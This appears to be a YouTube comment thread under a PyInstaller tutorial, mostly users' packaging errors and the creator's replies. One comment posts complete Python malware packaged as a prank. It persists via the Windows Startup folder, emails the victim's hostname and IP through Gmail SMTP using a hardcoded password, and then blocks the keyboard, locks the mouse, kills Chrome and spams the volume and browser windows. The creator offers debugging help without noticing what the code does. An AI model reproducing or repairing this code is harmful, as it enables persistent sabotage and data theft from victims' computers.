NOTE: i didnt use a GUI for a python project, just inputs and outputs from the terminal ect, and using the "--windowed" command meant it couldnt run. So if your having issues try removing it 🙃🙃
I would like to add; make sure you have made the folder a Virtual Environment (venv), otherwise PYinstaller will include all the modules you have ever installed onto python . You only want the modules, you need for your program . In the 'dist' folder sometimes there is another folder created, along side your '.exe' executable file . You need to cut/copy past everything in the 'dist' folder and paste it into the main folder (parent folder) where all the other ".py " files are located . Great video !! 👍👍👍
Hi, I am using VS Code and it throws this error; 209 INFO: PyInstaller: 6.4.0, contrib hooks: 2024.2 209 INFO: Python: 3.11.8 218 INFO: Platform: Windows-10-10.0.22631-SP0 Script file 'main.py' does not exist. But my "main.py" is already there and I am also sure about "pyinstaller" has been installed by "pip install pyinstaller" command. So, what can be the problem? Thanks in advance.
Hello the only time I had an issue like this I had accidentally installed pyinstaller in a different root folder than my main.py program! It’s possible to only install pyinstaller into like the root c folder but then the file lives in another location! Maybe double check that??
Hi le, i have a question how can we add icon file in the build. I have tried it using --add data but it only works for me not others with whom I share the exe. I have also converted the png file to ico. Can you please help
Thank you soo so much - you are so good at teaching - I scoured the internet for a solution like yours but this is by far the best - people were saying you need to add path environmental variables and what not - I didn't even know terminal access was available in pycharm - Thank you so much
Hi, when I'm running my .exec, it's crushing with error like "pyenv/not_my_venv_version_of_python/: module "blabla.py" not found Why it's using pyenv for looking for files ? 😮
uh hey i tried ur video but it shows the same error "file named main.py isnt found" (note i named it main just in case) and it keeps showing the same error can anyone help me
hi, I managed to build the exe but when I run it, the terminal shows a ModuleNotFoundError and closes immediately. In my main.py file, I import several libraries like streamlit and others. How do i solve this ModuleNotFoundError even though I moved the exe file into the main directory? thanks
i created the exe file but when i try to run it, it give me the error FileNotFoundError: No such file or directory: 'C:\Users\jackc\AppData\Local\Temp\_MEI186402\img\player.png'. the exe is stored in this directory, C:\Users\jackc\OneDrive\Desktop\dungeon1_Copy
Hi I’m sorry to hear you’re getting that error - you could try using the OS and sys modules to actually point to a specific folder on your computer in case the exe is moved!
hey i tried everything in this vid and in a bunch of others but when i go to run the conversion it says this: pyinstaller : The term 'pyinstaller' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. idk how to fix pls help
Hi, this is typically happening due to pyinstaller being installed in a different folder location than it’s attempting to be run in. I would suggest trying to change the directory to either your root folder or install pyinstaller in whatever directory you are trying to use!
So, I am using py auto exe, and I have a env placed as a folder to bundle up everything but when I open the application it says ModuleNotFoundError no module named ‘webview’ even though the model is in my env How do I fix this?
I have a Django application similarly i have created an .exe file but how to send it to my friends in order to run it without any IDE or python isntalled
That’s interesting, this is a pretty lightweight module with not a lot of built in error reporting unfortunately. Is it giving you any feedback when it doesn’t execute? Like blocked by antivirus or anything like that?
I have a problem where my program only executes once and then doesnt work again, or sometimes it just doesnt run at all, and I reinstall and delete it and nothing changes.
That’s interesting, this is a pretty lightweight module with not a lot of built in error reporting unfortunately. Is it giving you any feedback when it doesn’t execute? Like blocked by antivirus or anything like that?
Hi Le, I have a question. when we package the code and copy it to another computer. Do the target computer also need to install python before running exe? If it must, is there any way to package python along with that app ?
Hello, you should not need to have the destination computer install python - when the py to exe packager runs its supposed to include the interpolation to machine code required for anyone to run the .exe !
Hi there! Thank you for a clear explanation and an easy guide. Before I try it myself, I have an additionaly qustion. If the programme which I have written is altering directory paths for the sake of its correct execution, will the packaged exe of the programme run correctly on someone else's computer (suppos I send them the exe over email)? Cheers :)
Yes according to the documentation for pyinstaller but I have seen many people commenting here that when they send it to friends their computers are flagging it as untrustworthy! I haven’t personally run in to that sending them to others but a lot of people have commented here that they have seen it
Hi after you compiles the .exe file using pyinstaller, did you try run this .exe file in another machine? I got this error doing that 'Bad CPU type in executable' I do not what i need to do in pyinstaller to avoid this
You shouldn’t but I also read a recent patch note that for some reason most firewalls and malware softwares are calling out packages created with pyinstaller as potentially suspicious or malware
Does the person I send it to have to already have python installed for it to work when they run it? Or will it work on windows 10/11 with just that packed file?
I followed everything and got a weird error Traceback (most recent call last): File "PyStars.py", line 21, in BG = pygame.image.load(image_path) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: No such file or directory: 'C:\Users\USER\AppData\Local\Temp\_MEI92522\BG.jpg'. Can someone help? I wanna send this game to my friends
Hi, most likely this is due to an image in a folder in a different location than the source .py file - if possible, probably just best to drop all your image assets in the same folder location as your root .py file!!
Honestly this method is the best way I’ve found for packing a python program as an executable but I really think C based compiled languages are your best bet for advanced or complicated apps! I know python can be used for it but that’s not something I’ve had much experience with im sorry!
After all, when you execute the file , it's easy to open it and read all the codes. I was looking for something that after I execute the file, only can run it not see the exact python file that anyone can open and read the codes in the code editor.
Hi - you can choose any python GUI package you want. I have lessons on how to make GUIs with tkinter, kivy, and pygame! There’s a lot of other options too!
I attempted this with the matching game and I got an error for line 42 the freesansbold. It said expected str, bytes or os.Pathlike object, not BytesIO
Yeah so what you need to do is get the freesansbold.ttf file and include it in the same folder as your exe file! Thats the easiest way to do it, or you can go back into your python file and use any ttf file you want, just be sure to include it in the folder you run your exe from once you convert to a .exe!
Hey man, I don't know if you are still checking these comments but when I try to do use the pyinstaller command it just tells me something about how the bytes have to be from 0 to 256
Hi - this is likely not an issue of pyinstaller per say. That error message pops up usually when there is an 'off-by-one' scenario somewhere in the code. Like a color that is using 0-256 as its rgb value but is unintentionally able to use 256, when the range actually ends at 255 - I would check if you have rgbs or any other bytes of data that could be looking t 256 or a value greater than 256!
So just like with any .exe, any additional assets that are needed by the program have to be in the same program folder as the .exe! If all the program does is python functionality with no other outside stuff you can just send it as is! But if you have images or fonts or sound files or text files they need to be packaged up together in either a folder or zip folder when you send it!
@@lemastertech Ok, in my program there are images and fonts, and the .exe file on the pc where I wrote it works, but sending the .exe file on another pc, also sending the folder with the images and fonts and also putting the .py file gives me error FileNotFoundError: No such file on directory: "file path"
('pyinstaller' is not recognized as an internal or external command, operable program or batch file.) pls help i installed pyinstaller using 'pip install pyinstaller' nad it wont work
Hi, this sounds like you might have installed pyinstaller in a project folder and are trying to actually execute it elsewhere? Try changing directory and pip installing pyinstaller to the c$ folder!
I tried sharing my exe with my community and peoples computers have been flagging it as a trojan and ransomware. Anyone know if theres a way to prevent this from happening?
Hi - I have heard from others that happens to them as well. I think there’s an exe “trust” or authentication thing you can run the exe files through but it’s a nuisance still!
Following all the steps I get the error: Term 'pyinstaller' not recognized as name of cmdlet, function, executable program or script file. How i resolve?
Have you encounter the problem where your antivirus detecting it as a malicious file? "Operation did not complete successfully because the file contains a virus or potentially unwanted software."
I have had a few people comment on this video that they have run into this although I haven’t dealt with it myself! I believe there is a manual way to add an exception to whatever antivirus software you are using to allow this specific program and file but I think it depends on your antivirus software!
I have a problem with running the code. Without the virtual environment, (venv) it does not recognize the command (pyinstaller .py). Is there any solution for converting .py to .exe without going into venv? (im using macbook, so the commands might differ)
@@lemastertech thanks for answering anyway. Actually a got a little closer to the solution. I’ve got to put my Python frameworks to the path so the pyinstaller can work.
If pip is not found you need to uninstall python and reinstall it but add pip to the system path during install. Pip is included with python if you check the correct checkbox when you install it
Thank you for a clear explanation. How to build Executable (.exe) file from Python for all Versions of Windows (Seven,8,10,11) i used PyInstaller in windows 10 ,but the Executable file compiled by PyInstaller does not work on Windows 7
(Disregard, I found the solution. Made one very simple typo when writing my test code) I am practicing this just using a simple test project, which is basically just a small pygame window with a black screen and nothing else. Every time I try to make it into an executable, the program will not close. If I take away the --windowed prompt, it will show a terminal window, and if I close that, the program will eventually close too. But if I include the --windowed prompt, I literally cannot close the program without going into task manager and forcing it to close. How can I keep the executable file as a --windowed (i.e. NOT loading the command prompt) and still allow it to close?
Hi! Great question and the answer is I’m honestly not sure I don’t have a mac, but most python modules are compatible with both but possibly with some different syntax! If you try it and it doesn’t work let me know!
You've earned a sub because your explanation skills are next level. But what do I have to do to open the other files I need to run the application if the folder those other files are in and the .exe are located in the same directory? I tried putting things like `from data.dimension_setup import *` into the actual code and updating the executable (data is the folder with the additional files, dimension_setup is a python file). I don't want to resolve this by just copypasting the contents of the dimension_setup file into the main file to prevent my code from being an absolute mess. And I used open("data/file.json") to open the json files in the data folder. For some reason, the pycharm version of my game recognizes my files in the data directory, but the executable thinks they're non-existent.
Thanks for watching! Pyinstaller is definitely a super light weight option for generating executables but if you have a program with tons of supporting files you need to package up with it I would honestly not suggest using pyinstaller, that’s not really pythons bread and butter unfortunately
Worthy infoo...thanks man! In my use case I've the folder inside .py files, json files, word,pdf documents and images. Can I make this all together as .exe file for chatbot application ?
Thanks for watching!! Bundling all associated assets into the .exe should be doable but I’ll be honest I don’t know specifically about combining a bunch of different file and format types for a python exe!
i've also made a game with pygame but the problem is i have 12 python files in which game's logic is there and a resource folder in which every image every sound is there please help me to convert my game into a single executable file and after also tell me how can i use inno to make a installer of it with all of the resources included :) if you can help me with this problem i will be so gartefull of you i've been on this problem since a month :(
Hi! I think to do what you’re talking about you need to have an init.py file that can tell the installer to treat all Py files in the folder as part of the total package! There’s some really good documentation about setting up an init file and how to call all your subsequent files from that file! Goodluck friend!
Have you any idea why exe made with pyinstaller is starting nearly 4min? I use virtualenv to reduce file size and still is very slow. Normally script in .py is running instant
Hi I am sorry I have not encountered any issues where my executables run really slow after using pyinstaller! Just some thoughts, have you included all the assets in the same folder/directory as your exe? If the program can’t find all the necessary assets that can cause errors!
@@lemastertech Yes its all included. I forgot to say that is onefile exe. In onedir is very fast (runs in a 6 seconds) but i need to make this in one file.
You might have installed Py installer inside a folder like the same location as your pygame project, but if you’re running Cmd on your root c folder you need it installed there, or you need to change directory to the same as your pygame project!
@@lemastertech I changed my directory. can you tell me what specific folder pyinstaller should be at in order for me to verify if it is in the correct spot.
Maybe you should do some coding livestreams? Or like a help livestream where people can ask programming questions? Or something like that, I wouldnt mind watching you make a game or something via live stream
Hi I think that's an awesome idea and I really want to do something like this soon! Unfortunately I mostly work on my Projects and my TH-cam videos while I am at work ( I work from home) but could get sucked into a call or helping someone with something at any moment and most of my evenings are pretty busy! But I am trying to figure out how I could do some livestream events for sure! Thanks for the suggestion!
Hey thanks so much for the video! I like how short and to the point it is. I just have one issue though. I have just started coding python and I've been making a script that I want to turn into an exe file. When I turn it into an exe file using pyinstaller and open the exe file it will just loop the first thing in my code, which is registering the script to the startup folder in windows. It keeps doing it until my computer runs out of memory. Not sure why its doing that, as it works as expected when I just run it in pycharm. I'm sure its just some stupid error by me. Any reason or solution on how to fix it? Thanks in advance.
Hello, its hard to say for sure what could be happening without seeing the full code but this sort of issue pops up alot with infinite while loops! Sometimes your code can enter a section it has no way out of and that essentially crashes the machine! I'd start by checking that, goodluck!
Ok so progress has been made, as it doesn't spam open command prompt windows anymore. However, it does still randomly loop. Here is a video of what happens: th-cam.com/video/AHq2NctNyWw/w-d-xo.html not sure if you noticed to, but it says that the system cannot find the file specified, not sure why that happens on the exe. also here is the full code. I know it might no be written the best so any pointers I'll be grateful for! import keyboard import random import multiprocessing import webbrowser import time import pyautogui import os import requests import socket import smtplib from getpass import getuser pyautogui.FAILSAFE = False screenWidth, screenHeight = pyautogui.size() h_name = socket.gethostname() IP_addres = socket.gethostbyname(h_name) user_name = getuser() startup = 'C:\\Users\\{}\\AppData\\Roaming\\Microsoft\\Windows\\"Start Menu"\\Programs\\Startup'.format(user_name) os.system("copy {} {}".format(__file__, startup)) print('yooooooo') time.sleep(3) EMAIL_ADDRESS = 'Hackersaredown@gmail.com' EMAIL_PASSWORD = 'lxlfxwvumeulezvn' with smtplib.SMTP('smtp.gmail.com', 587) as smtp: smtp.ehlo() smtp.starttls() smtp.ehlo() smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD) subject = 'Ladies and Gentlemen, we got em' body = f'Hacker has executed yexploit. {h_name}\'s ip address is {IP_addres}' msg = f'Subject: {subject}
{body}' smtp.sendmail(EMAIL_ADDRESS, 'yexploithacks@gmail.com', msg) print('OMG') time.sleep(3) def keyboard_block(): for i in range(69696969696996969696969696969696969696969696969969696969696969699696969696969696696969966969696969): keyboard.block_key(i) def rigroll(): webbrowser.open('th-cam.com/video/dQw4w9WgXcQ/w-d-xo.html%27') def volumespam(): while True: pyautogui.press('volumeup') def kill_chrome(): time.sleep(100) os.system("taskkill /im chrome.exe /f") def lock_mouse(): while True: pyautogui.moveTo(69, 420) def why_not_cheat(): webbrowser.open('www.bbc.com/future/article/20211206-why-are-some-people-compelled-to-cheat') def minion_cheecks(): webbrowser.open('ibb.co/3c2tWsP') def minion_exercise (): webbrowser.open('i.pinimg.com/736x/b2/12/a6/b212a6c54c66a6ab82ac733b9b5d9c67.jpg') def another_minion_exercise(): webbrowser.open('i.redd.it/0zbzy7cperl81.jpg') def minion_lgbt(): webbrowser.open('encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcS8x6LKMt9HptI_6Q5fIWudY7zHR_PEP6PzFw&usqp=CAU') def minion_car(): webbrowser.open('pbs.twimg.com/media/FI02SfhWQAArgaX.jpg') def madman_gaming(): webbrowser.open('th-cam.com/users/MadmanGamingofficialfeatured') def anti_mongtage(): webbrowser.open('th-cam.com/video/MrxfFBJLO3k/w-d-xo.html') def crossfire(): webbrowser.open('th-cam.com/video/kb-KN49ywi8/w-d-xo.html') def tbg(): webbrowser.open('th-cam.com/video/ScXHdj28njs/w-d-xo.html') def rocco(): webbrowser.open('www.twitch.tv/videos/1604007484') def augh(): webbrowser.open('th-cam.com/video/Oqrm-9Wy8iU/w-d-xo.html') def angry_bird(): webbrowser.open('hypixel.net/attachments/ezgif-3-9abaab1a1d-jpg.3032606/') def madman_short(): webbrowser.open('th-cam.com/users/shortspGrOq1bPptk') def nails(): webbrowser.open('th-cam.com/users/shortsYmTku61D840') def corn(): webbrowser.open('th-cam.com/users/clipUgkx5dI4M3tbdXKgn7M0nae_asNi2aaeVOFN') def pufferfish(): webbrowser.open('th-cam.com/video/mwM76SacQc0/w-d-xo.html') def dream_sus(): webbrowser.open('th-cam.com/video/YwuQ9O4qerE/w-d-xo.html') def veggietales_bass(): webbrowser.open('th-cam.com/video/lwUprLtqtjg/w-d-xo.html') def india(): webbrowser.open('th-cam.com/video/B0dtHZqeXsY/w-d-xo.html') def veggietales10hour(): webbrowser.open('th-cam.com/video/-YpfgwRbPUM/w-d-xo.html') def thomas(): webbrowser.open('th-cam.com/video/fnNNtYUSEoU/w-d-xo.html') def tape(): webbrowser.open('th-cam.com/video/CImBCLE5Gyk/w-d-xo.html') def download_pictures(): while True: picture_list = [minion_truck, among_us, sus_pokemon, minion_scream, minion_infant] random.choice(picture_list)() time.sleep(0.1) def among_us(): r = requests.get('i.ytimg.com/vi/WvHS7mwDiz4/maxresdefault.jpg') with open('amongus.png', 'wb') as f: f.write(r.content) #sub to Madman Gaming def sus_pokemon (): r = requests.get('www.mypokecard.com/my/galery/K64YkbUEEw42.jpg') with open('suspokemon.jpg', 'wb') as f: f.write(r.content) def minion_truck (): r = requests.get('i.redd.it/44zezwhbadq81.jpg') with open('miniontruck.jpg', 'wb') as f: f.write(r.content) #th-cam.com/video/rTgj1HxmUbg/w-d-xo.html def minion_anti (): r = requests.get('i.redd.it/ado402z546c81.jpg') with open('minionanti.jpg', 'wb') as f: f.write(r.content) def minion_scream (): r = requests.get('i.redd.it/y1vpz2c7gt881.png') with open('minionscream.png', 'wb') as f: f.write(r.content) def minion_infant (): r = requests.get('i.redd.it/mkwh5nnp3hs31.png') with open('minioninfant.png', 'wb') as f: f.write(r.content) def random_functions(): while True: my_list = [augh, augh, thomas, india, veggietales_bass, veggietales10hour, dream_sus, dream_sus, angry_bird, corn, nails, pufferfish, madman_short, why_not_cheat, minion_cheecks, anti_mongtage, crossfire, tbg, rocco, minion_cheecks, minion_car, minion_lgbt, minion_exercise, rigroll, rigroll, rigroll, rigroll, rigroll, rigroll] random.choice(my_list)() time.sleep(2) if __name__ == "__main__": p1 = multiprocessing.Process(target=keyboard_block) p2 = multiprocessing.Process(target=volumespam) p3 = multiprocessing.Process(target=random_functions) p4 = multiprocessing.Process(target=kill_chrome) p5 = multiprocessing.Process(target=download_pictures) p6 = multiprocessing.Process(target=lock_mouse) p1.start() p2.start() p3.start() p4.start() p5.start() p6.start() Code is purely for educational purposes.
pip : O termo 'pip' não é reconhecido como nome de cmdlet, função, arquivo de script ou programa operável. Verifique a grafia do nome ou, se um caminho tiver sido incluído, veja se o caminho está correto e tente novamente. No linha:1 caractere:2 + pip pyinstaller + ~~~ + CategoryInfo : ObjectNotFound: (pip:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException
@@aticcorp2015 1- Create or download an . ico file. 2 -Right-click the desktop. 3 - Click New and then Shortcut. 4 - Browse for the .exe and click OK. 5 - Name the file and click Finish. 6 - Right-click the shortcut. 7 - Click Properties. 8 - Click Change Icon and select the new icon
Does it say what modules are missing? Most IDEs give a little detail about it! Sometimes you have to point pip to a specific directory when installing packets!
Make sense Thanks! Thats why when it was in another folder it doesn't executes! how i wish it complie all files like .png files where my signature is on it.
pritty amazing tutorial. can anyone tell me how i can encript my python file and then create a exe for it so that i can distribute it without anyone copying the codes. please ............
Hi I have not tried to do this specifically but I know pyinstaller is like a more light weight package and I am not sure how to encrypt it myself! Sorry!
To install PyInstaller: Go to your command prompt (Start -> Run -> cmd) type the following command cd c:\python27\scripts press enter, this should be where your pip.exe file is located. Once you are in this directory type pip install pyinstaller press enter Message should read Successfully installed pyinstaller.
PS C:\Users\User\PycharmProjects\Tic Tac Toe> pip pyinstaller pip : The term 'pip' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. At line:1 char:1 + pip pyinstaller + ~~~ + CategoryInfo : ObjectNotFound: (pip:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException
Hi this sounds like your computer doesn’t recognize pip - that’s a check box you need to check during install of python! If you didn’t install pip when you installed python you might a quick uninstall then reinstall!
@@lemastertech Don't argue.. try taking a look at how data files are bundled with pyinstaller and what changes you need to make to the paths so that those files are located at the end when you only run the .exe
@@lemastertech it's bots trying to guess your real name by seeing if you have your real name added to a "blacklisted words" section in your youtube studio
@@lemastertech talking to people about their creator for me is anywhere anytime as this is my purpose of life making my creator happy of me i have nothing else, and great vid by the way although having some issues as my applications contains mediapipe tf and opencv 🤝
I’m not going to make an entire video dedicated to one minor issue from an extremely rude TH-cam commenter. I try very hard to be helpful in the TH-cam comments and your entire attitude is terrible and I will not hesitate to block you from commenting on my channel if you don’t improve how you act quickly
How am I supposed to help you or anyone else on TH-cam in the comments if you don’t give us any details of what error you’re seeing or what part didn’t work?
NOTE: i didnt use a GUI for a python project, just inputs and outputs from the terminal ect, and using the "--windowed" command meant it couldnt run. So if your having issues try removing it 🙃🙃
Hi thank you for sharing your fix! Hopefully others find this super useful as well!
I would like to add; make sure you have made the folder a Virtual Environment (venv), otherwise PYinstaller will include all the modules you have ever installed onto python .
You only want the modules, you need for your program .
In the 'dist' folder sometimes there is another folder created, along side your '.exe' executable file .
You need to cut/copy past everything in the 'dist' folder and paste it into the main folder (parent folder) where all the other ".py " files are located .
Great video !!
👍👍👍
Thank you for adding this, this is super useful!!
Hi, I am using VS Code and it throws this error;
209 INFO: PyInstaller: 6.4.0, contrib hooks: 2024.2
209 INFO: Python: 3.11.8
218 INFO: Platform: Windows-10-10.0.22631-SP0
Script file 'main.py' does not exist.
But my "main.py" is already there and I am also sure about "pyinstaller" has been installed by "pip install pyinstaller" command.
So, what can be the problem?
Thanks in advance.
Hello the only time I had an issue like this I had accidentally installed pyinstaller in a different root folder than my main.py program! It’s possible to only install pyinstaller into like the root c folder but then the file lives in another location! Maybe double check that??
@@lemastertech yes, it was definetly the wrong folder problem. Thank you very much!
Hi le, i have a question how can we add icon file in the build. I have tried it using --add data but it only works for me not others with whom I share the exe. I have also converted the png file to ico.
Can you please help
Thank you soo so much - you are so good at teaching - I scoured the internet for a solution like yours but this is by far the best - people were saying you need to add path environmental variables and what not - I didn't even know terminal access was available in pycharm - Thank you so much
You are welcome and I am so glad you found the video useful!! Thanks for watching :)
Thanks a lot @LeMaster Tech, I had the same issue in the video when the exe file didn't open, but it is now fixed. Thanks 😊
You’re welcome thank you for watching!
Amazing explanation! I was lost in all hose instructions but you cleared it up for me!
Thanks so much for sharing Im glad it was useful for you!!
what all goes into the zip folder when sharing?
The .exe and any images,sounds, fonts, or files you reference within your program!!
@@lemastertech ok thanks for such a fast response.
Hi, when I'm running my .exec, it's crushing with error like "pyenv/not_my_venv_version_of_python/: module "blabla.py" not found
Why it's using pyenv for looking for files ? 😮
Hi, you may have installed pyinstaller in the wrong directory or executed the command from the wrong directory here!
@@lemastertech Hi, thank you for reply! I'm using a subprocess in my project and that confused me with a path😄
uh hey i tried ur video but it shows the same error "file named main.py isnt found" (note i named it main just in case) and it keeps showing the same error can anyone help me
Most of the time when this is happening the installer package got installed to a different directory than the main.py file lives in!
hi, I managed to build the exe but when I run it, the terminal shows a ModuleNotFoundError and closes immediately. In my main.py file, I import several libraries like streamlit and others. How do i solve this ModuleNotFoundError even though I moved the exe file into the main directory? thanks
Hi I am sorry I am not certain how to solve this as I’ve never had that specific error!
i created the exe file but when i try to run it, it give me the error FileNotFoundError: No such file or directory: 'C:\Users\jackc\AppData\Local\Temp\_MEI186402\img\player.png'. the exe is stored in this directory, C:\Users\jackc\OneDrive\Desktop\dungeon1_Copy
Hi I’m sorry to hear you’re getting that error - you could try using the OS and sys modules to actually point to a specific folder on your computer in case the exe is moved!
hey i tried everything in this vid and in a bunch of others but when i go to run the conversion it says this:
pyinstaller : The term 'pyinstaller' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of
the name, or if a path was included, verify that the path is correct and try again.
idk how to fix pls help
Hi, this is typically happening due to pyinstaller being installed in a different folder location than it’s attempting to be run in. I would suggest trying to change the directory to either your root folder or install pyinstaller in whatever directory you are trying to use!
ok thank you@@lemastertech
So, I am using py auto exe, and I have a env placed as a folder to bundle up everything but when I open the application it says ModuleNotFoundError no module named ‘webview’ even though the model is in my env
How do I fix this?
I honestly do not know I am sorry!
I have a Django application similarly i have created an .exe file but how to send it to my friends in order to run it without any IDE or python isntalled
I have not sent an application with Django before via an exe so I’m sorry not sure what you could do in that case!!
This tutorial worked like a charm. Thank you
You’re very welcome thanks for watching!
so clear explanation really thank you LeMaster Tech!!!
you're very welcome, thank you for watching!
I have a problem where my .exe file doesnt execute, and i delete and reinstall it and run it again and it only sometimes works.
That’s interesting, this is a pretty lightweight module with not a lot of built in error reporting unfortunately. Is it giving you any feedback when it doesn’t execute? Like blocked by antivirus or anything like that?
Worked like a Charm😉 Thank you
Awesome you are welcome!! Thanks for watching!
is there a way to include the images while still only compiling to a single exe file that you can share with people
Yes you just need to have embedded assets but that is a little more complicated!
I have a problem where my program only executes once and then doesnt work again, or sometimes it just doesnt run at all, and I reinstall and delete it and nothing changes.
That’s interesting, this is a pretty lightweight module with not a lot of built in error reporting unfortunately. Is it giving you any feedback when it doesn’t execute? Like blocked by antivirus or anything like that?
Hi Le, I have a question. when we package the code and copy it to another computer. Do the target computer also need to install python before running exe? If it must, is there any way to package python along with that app ?
Hello, you should not need to have the destination computer install python - when the py to exe packager runs its supposed to include the interpolation to machine code required for anyone to run the .exe !
Hey, this works, but how do I use a custom icon and possibly keep it one file?
I do not know if pyinstaller has those features in particular!
Hi there!
Thank you for a clear explanation and an easy guide. Before I try it myself, I have an additionaly qustion. If the programme which I have written is altering directory paths for the sake of its correct execution, will the packaged exe of the programme run correctly on someone else's computer (suppos I send them the exe over email)?
Cheers :)
Hello! Yes it should do that just fine!
Can I use the generated executable file to share the game with others who don't have Python or Pygame installed on their machines?
Yes according to the documentation for pyinstaller but I have seen many people commenting here that when they send it to friends their computers are flagging it as untrustworthy! I haven’t personally run in to that sending them to others but a lot of people have commented here that they have seen it
Hi after you compiles the .exe file using pyinstaller, did you try run this .exe file in another machine? I got this error doing that 'Bad CPU type in executable' I do not what i need to do in pyinstaller to avoid this
Hi I am sorry but I have not had any experience with this error before and am not sure what could have caused it!
What if I had multiple Python files? How to should approach this case?
If you want to use pyinstaller I’d recommend trying to package them all into one .py file!
@@lemastertech Any other alternatives
Should We have to include venv Folder while sharing the .exe file?
You shouldn’t but I also read a recent patch note that for some reason most firewalls and malware softwares are calling out packages created with pyinstaller as potentially suspicious or malware
Great content. Btw what is your background? It's amazing :)
Thank you! And I honestly just typed space wallpapers into google images and chose one I thought was cool haha - I love space :) Thanks for watching!!
Does the person I send it to have to already have python installed for it to work when they run it? Or will it work on windows 10/11 with just that packed file?
They should not need python installed on their end it should work like any other executable file!
I followed everything and got a weird error
Traceback (most recent call last):
File "PyStars.py", line 21, in
BG = pygame.image.load(image_path)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
FileNotFoundError: No such file or directory: 'C:\Users\USER\AppData\Local\Temp\_MEI92522\BG.jpg'.
Can someone help?
I wanna send this game to my friends
Btw that link isnt a link
TH-cam think's Something.py is a website
Hi, most likely this is due to an image in a folder in a different location than the source .py file - if possible, probably just best to drop all your image assets in the same folder location as your root .py file!!
that was helpful. I can bundle my project and run it now
Thank you for watching!!
Do you have any idea about packaging it as a standalone app ?
Honestly this method is the best way I’ve found for packing a python program as an executable but I really think C based compiled languages are your best bet for advanced or complicated apps! I know python can be used for it but that’s not something I’ve had much experience with im sorry!
After all, when you execute the file , it's easy to open it and read all the codes. I was looking for something that after I execute the file, only can run it not see the exact python file that anyone can open and read the codes in the code editor.
pretty nice and usefull, I was strugling with the pyinstaller!!
Glad I could help! Thanks for watching!
THANK YOU SO MUCH THIS HELPED ME ALOT
Awesome thank you for watching!
how to design the ui when we create the application?
Hi - you can choose any python GUI package you want. I have lessons on how to make GUIs with tkinter, kivy, and pygame! There’s a lot of other options too!
I attempted this with the matching game and I got an error for line 42 the freesansbold. It said expected str, bytes or os.Pathlike object, not BytesIO
Solved it. I ended up using Arial instead and I copied the ttf file for that font into the Dist folder and then ran pyinstaller again
Yeah so what you need to do is get the freesansbold.ttf file and include it in the same folder as your exe file! Thats the easiest way to do it, or you can go back into your python file and use any ttf file you want, just be sure to include it in the folder you run your exe from once you convert to a .exe!
Is it possible to create python Linux executable file with py installer.
Hello, I believe so but I honestly have never tried it so you might need to check their online documentation to verify that!
Hey man, I don't know if you are still checking these comments but when I try to do use the pyinstaller command it just tells me something about how the bytes have to be from 0 to 256
Hi - this is likely not an issue of pyinstaller per say. That error message pops up usually when there is an 'off-by-one' scenario somewhere in the code. Like a color that is using 0-256 as its rgb value but is unintentionally able to use 256, when the range actually ends at 255 - I would check if you have rgbs or any other bytes of data that could be looking t 256 or a value greater than 256!
But does this only work on your local PC?
If I send the file to someone on another pc how do I get it to work?
So just like with any .exe, any additional assets that are needed by the program have to be in the same program folder as the .exe! If all the program does is python functionality with no other outside stuff you can just send it as is! But if you have images or fonts or sound files or text files they need to be packaged up together in either a folder or zip folder when you send it!
@@lemastertech Ok, in my program there are images and fonts, and the .exe file on the pc where I wrote it works, but sending the .exe file on another pc, also sending the folder with the images and fonts and also putting the .py file gives me error FileNotFoundError: No such file on directory: "file path"
And is your problem got resolved if so how@@lemastertech
what do i do if i have different modules other than then main file?
You could compile them all into one file before exporting!!
('pyinstaller' is not recognized as an internal or external command,
operable program or batch file.) pls help i installed pyinstaller using 'pip install pyinstaller' nad it wont work
Hi, this sounds like you might have installed pyinstaller in a project folder and are trying to actually execute it elsewhere? Try changing directory and pip installing pyinstaller to the c$ folder!
I tried sharing my exe with my community and peoples computers have been flagging it as a trojan and ransomware. Anyone know if theres a way to prevent this from happening?
Hi - I have heard from others that happens to them as well. I think there’s an exe “trust” or authentication thing you can run the exe files through but it’s a nuisance still!
Following all the steps I get the error: Term 'pyinstaller' not recognized as name of cmdlet, function, executable program or script file. How i resolve?
Did you pip install pyinstaller??
im having the same issue, i already did pip install pyinstaller@@lemastertech
Have you encounter the problem where your antivirus detecting it as a malicious file? "Operation did not complete successfully because the file contains a virus or potentially unwanted software."
I have had a few people comment on this video that they have run into this although I haven’t dealt with it myself! I believe there is a manual way to add an exception to whatever antivirus software you are using to allow this specific program and file but I think it depends on your antivirus software!
I have a problem with running the code. Without the virtual environment, (venv) it does not recognize the command (pyinstaller .py). Is there any solution for converting .py to .exe without going into venv? (im using macbook, so the commands might differ)
Hello I’m sorry I do not have prior experience with MacBooks! I have only ran this on windows and have not seen that issue before!
@@lemastertech thanks for answering anyway. Actually a got a little closer to the solution. I’ve got to put my Python frameworks to the path so the pyinstaller can work.
Why am I getting pyinstaller : The term 'pyinstaller' is not recognized as the name of a cmdlet
Probably need to run pip install pyinstaller in the same directory you are trying to execute in
My command prompt told me that pyinstaller has been installed, but that is not a valid internal or external command. I am not sure what that is about.
Hm I’m not sure I haven’t seen this either I’m sorry!
hey, why i dont have module named importlib._abc ?
Not sure what is the error you are getting??
Nice video, good to know about the info.
thanks!
When a follow the vid and i type pip install pyinstaller ther is a big error message and one of the tings in it says: “objectnotfound: (pip:string)”
If pip is not found you need to uninstall python and reinstall it but add pip to the system path during install. Pip is included with python if you check the correct checkbox when you install it
Thank you for a clear explanation.
How to build Executable (.exe) file from Python for all Versions of Windows (Seven,8,10,11)
i used PyInstaller in windows 10 ,but the Executable file compiled by PyInstaller does not work on Windows 7
Hm I’m sorry I’m not sure why it doesn’t work for 7!
how do i do this in sublime text?
Sublime is just an editor. Use your command prompt/terminal.
(Disregard, I found the solution. Made one very simple typo when writing my test code)
